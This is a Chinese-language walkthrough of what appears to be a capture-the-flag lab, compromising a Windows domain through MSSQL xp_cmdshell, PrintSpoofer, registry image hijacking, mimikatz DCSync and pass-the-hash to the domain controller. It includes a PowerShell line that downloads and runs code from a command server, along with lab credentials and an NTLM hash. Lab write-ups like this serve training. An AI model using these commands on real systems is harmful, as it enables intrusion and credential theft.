Tsclient是一种在VPS上挂载本地磁盘的功能
外网打点
1 2 fscan扫一扫 ./fscan.exe -h 39.98 .123 .74
Fscan
默认不扫描3389,用Nmap
端口扫描
1 2 3 4 5 6 nmap -T4 -A -v -Pn 39.98 .123 .74 80 /tcp open http Microsoft IIS httpd 10.0 1433 /tcp open ms-sql-s Microsoft SQL Server 2016 13.00 .1601 .00 ; RTM2383 /tcp open ms-olap4?3389 /tcp open ms-wbt-server Microsoft Terminal Services
登录进去sqlserver
,第一时间想到xp_cmdshell
光速拿下
1 2 3 4 5 xp_cmdshell是sqlserver的一个用于执行命令的组件,一般只允许DBA使用 SQL Server 2005 之后的版本中,xp_cmdshell是默认关闭的,因此需要手动开启 EXEC sp_configure 'xp_cmdshell' ,1 ;RECONFIGURE; 开启xp_cmdshell是默认关闭的 exec master..xp_cmdshell 'whoami' ; 执行命令
从网上找到一个数据库综合利用工具MDUT
下面进行Web投递上线CS(攻击-Web托管)
1 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:80/a'))"
提权1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 whoami /priv 特权信息 ---------------------- 特权名 描述 状态 ============================= ==================== ====== SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用 SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用 SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeImpersonatePrivilege 身份验证后模拟客户端 已启用 SeCreateGlobalPrivilege 创建全局对象 已启用 SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
用梼杌插件的PrintSpoofer
提权,虽然显示成功,但其实还是低权限的,可以从Github自己下了一个,通过MSSQL传送文件Release PrintSpoofer · itm4n/PrintSpoofer
1 2 3 4 一定要上传到这里 C:/Users/Public shell C:/Users/Public/PrintSpoofer64.exe -i -c "whoami" 再次转发STSTEM会话到CS,再次用web投递失败了,索性干拉EXE马 shell C:/Users/Public/PrintSpoofer64.exe -i -c "C:/Users/Public/artifact_x64.exe"
1 flag01: flag{a08f14ae-b9ab-447a-9a73-68a463aa0f70}
提示user sessions
后渗透1
正如开头所说`Tsclient`是一种在VPS上挂载本地磁盘的方法,在连接界面选择挂载,再次连接
进入Tsclient
既可以访问用户的D盘,值得一提的是,一旦挂载一次,如果不主动取消,接下来连接所有的RDP都是挂载状态
查看在线用户
1 2 shell quser || qwinst //查看在线用户的指令 netstat -ano | findstr 3389
发现John是从31这台域机器上连接上来的
查看进程列表
进程注入:Inject
注入explorer.exe
( Windows 的桌面进程 )进程上线John
或者直接dump hash之后进行PTH也可以
1 2 3 net use 显示当前所有已连接的网络共享资源(如映射的驱动器、共享文件夹等)。 shell dir \\TSCLIENT\C shell type "\\TSCLIENT\C\credential.txt"
1 2 3 4 xiaorang.lab\Aldrich:Ald@rLMWuy7Z! Do you know how to hijack Image? 提示镜像劫持
内网信息收集
1 2 Fscan C段走起 shell C:/Users/Public/fscan.exe -h 172.22 .8 .18 /24
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 C:\Users\hacker\Desktop\fscan.exe -h 172.22 .8 .18 /24 [+] 目标 172.22 .8 .31 存活 (ICMP) [+] 目标 172.22 .8 .18 存活 (ICMP) [+] 目标 172.22 .8 .15 存活 (ICMP) [+] 目标 172.22 .8 .46 存活 (ICMP) [+] ICMP存活主机数量: 4 [*] 共解析 218 个有效端口 [+] 端口开放 172.22 .8 .18 :1433 [+] 端口开放 172.22 .8 .18 :445 [+] 端口开放 172.22 .8 .18 :139 [+] 端口开放 172.22 .8 .46 :445 [+] 端口开放 172.22 .8 .15 :445 [+] 端口开放 172.22 .8 .31 :445 [+] 端口开放 172.22 .8 .46 :139 [+] 端口开放 172.22 .8 .15 :139 [+] 端口开放 172.22 .8 .31 :139 [+] 端口开放 172.22 .8 .46 :135 [+] 端口开放 172.22 .8 .15 :135 [+] 端口开放 172.22 .8 .31 :135 [+] 端口开放 172.22 .8 .18 :135 [+] 端口开放 172.22 .8 .15 :88 [+] 端口开放 172.22 .8 .46 :80 [+] 端口开放 172.22 .8 .18 :80 [+] 存活端口数量: 16 [*] 开始漏洞扫描... [!] 扫描错误 172.22 .8 .15 :445 - read tcp 172.22 .8 .18 :51265 ->172.22 .8 .15 :445 : wsarecv: An existing connection was forcibly closed by the remote host. [!] 扫描错误 172.22 .8 .31 :445 - read tcp 172.22 .8 .18 :51266 ->172.22 .8 .31 :445 : wsarecv: An existing connection was forcibly closed by the remote host. [!] 扫描错误 172.22 .8 .46 :445 - 无法确定目标是否存在漏洞 [*] NetInfo [*] 172.22 .8 .46 [->] WIN2016 [->] 172.22 .8 .46 [!] 扫描错误 172.22 .8 .18 :445 - 无法确定目标是否存在漏洞 [!] 扫描错误 172.22 .8 .15 :88 - Get "http://172.22.8.15:88" : read tcp 172.22 .8 .18 :51275 ->172.22 .8 .15 :88 : wsarecv: An existing connection was forcibly closed by the remote host. [*] NetInfo [*] 172.22 .8 .18 [->] WIN-WEB [->] 172.22 .8 .18 [->] 2001 :0 :348b:fb58:8a2:1274 :d89c:6f2c [*] NetInfo [*] 172.22 .8 .31 [->] WIN19-CLIENT [->] 172.22 .8 .31 [*] NetBios 172.22 .8 .15 [+] DC:XIAORANG\DC01 [*] NetBios 172.22 .8 .31 XIAORANG\WIN19-CLIENT [*] NetInfo [*] 172.22 .8 .15 [->] DC01 [->] 172.22 .8 .15 [*] NetBios 172.22 .8 .46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] 网站标题 http://172.22 .8 .18 状态码:200 长度:703 标题:IIS Windows Server [*] 网站标题 http://172.22 .8 .46 状态码:200 长度:703 标题:IIS Windows Server [!] 扫描错误 172.22 .8 .18 :139 - netbios error [+] MSSQL 172.22 .8 .18 :1433 :sa 1qaz!QAZ [+] 扫描已完成: 16 /16 [*] 扫描结束,耗时: 13.1589705 s
第一次报出来一堆古文韩文日文,原因是用GBK
读取UTF-8
的内容,乱码恢复 恢复一下就好了
1 2 3 4 172.22 .8 .18 目前这台,非域机器,已拿下172.22 .8 .15 域控 172.22 .8 .31 域机器172.22 .8 .46 域机器
代理搭建
还是用`Snowaway`
1 2 3 4 5 6 7 Vps端 ./Stowaway_admin -l 1234 -s 123 入口机器 C:/Users/Public/windows_x64_agent.exe -c Vps-Ip:1234 -s 123 --reconnect 8 Vps端 use 0 socks 6666 打开Proxifier和Kali上的Clash就可以了
内网打点
用刚才的密码进行喷洒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 crackmapexec smb 172.22 .8 .0 /24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' SMB 172.22 .8 .31 445 WIN19-CLIENT [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN19-CLIENT) (domain:xiaorang.lab) (signing:False ) (SMBv1:False ) SMB 172.22 .8 .18 445 WIN-WEB [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-WEB) (domain:WIN-WEB) (signing:False ) (SMBv1:True ) SMB 172.22 .8 .46 445 WIN2016 [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False ) (SMBv1:True ) SMB 172.22 .8 .15 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:xiaorang.lab) (signing:True ) (SMBv1:False ) SMB 172.22 .8 .31 445 WIN19-CLIENT [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z! SMB 172.22 .8 .18 445 WIN-WEB [-] WIN-WEB\Aldrich:Ald@rLMWuy7Z! SMB 172.22 .8 .46 445 WIN2016 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z! SMB 172.22 .8 .15 445 DC01 [-] xiaorang.lab\Aldrich:Ald@rLMWuy7Z! 172.22 .8 .15 可以改密码172.22 .8 .31 172.22 .8 .46 这几台都提示密码过期STATUS_PASSWORD_EXPIRED,
先用kali
的rdesktop
进入登录页面再改密码(windows的rdp不支持用过期密码进入登录界面)(学长说的),只有46可以登录
1 rdesktop 172.22 .8 .46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'
RDP登录的时候,用户名是xiaorang.lab\Aldrich
(域名\用户名)
提权2
镜像劫持提权:通过修改指定注册表项实现程序的劫持,即运行指定程序实际上运行的是我们自己的后门程序
1 get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
其中Authenticated Users
指的是所有非来宾用户
SetValue
:允许用户修改注册表项的值。例如,可以更改某个键值的数据内容。
CreateSubKey
:允许用户在该注册表项下创建新的子项。
ReadKey
:允许用户读取注册表项的键值和子项信息。
1 2 3 4 把cmd绑定在放大镜上 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f 或者劫持到粘滞键 sethc(按 5 次 shift 出现) reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
1 flag02:flag{54866798 -6502 -4feb-877e-845292b12db7}
横向域控
`systeminfo`,主机名是`win2016`,那么对应的机器账户是`win2016$`,
机器账户是在计算机加入域的过程中创建的,从某种意义上来说,是计算机以机器账户的身份加入了域,但是net user /domain不会显示机器账户
net group "Domain admins" /domain
,恰好有win2016$
,直接导出win2016
的机器hash即可
net group "Domain Computers" /domain
查看机器用户
1 2 3 cd c:\Users\Aldrich\Desktop mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit dcsync攻击 mimikatz.exe "sekurlsa::logonpasswords" exit 直接抓本机密码也行
用smbexec.py
进行PTH
1 python smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 administrator@172.22.8.15 -codec gbk
1 flag03: flag{c2daba6b-5930-4dfd-820d-4e7b42cf0e82}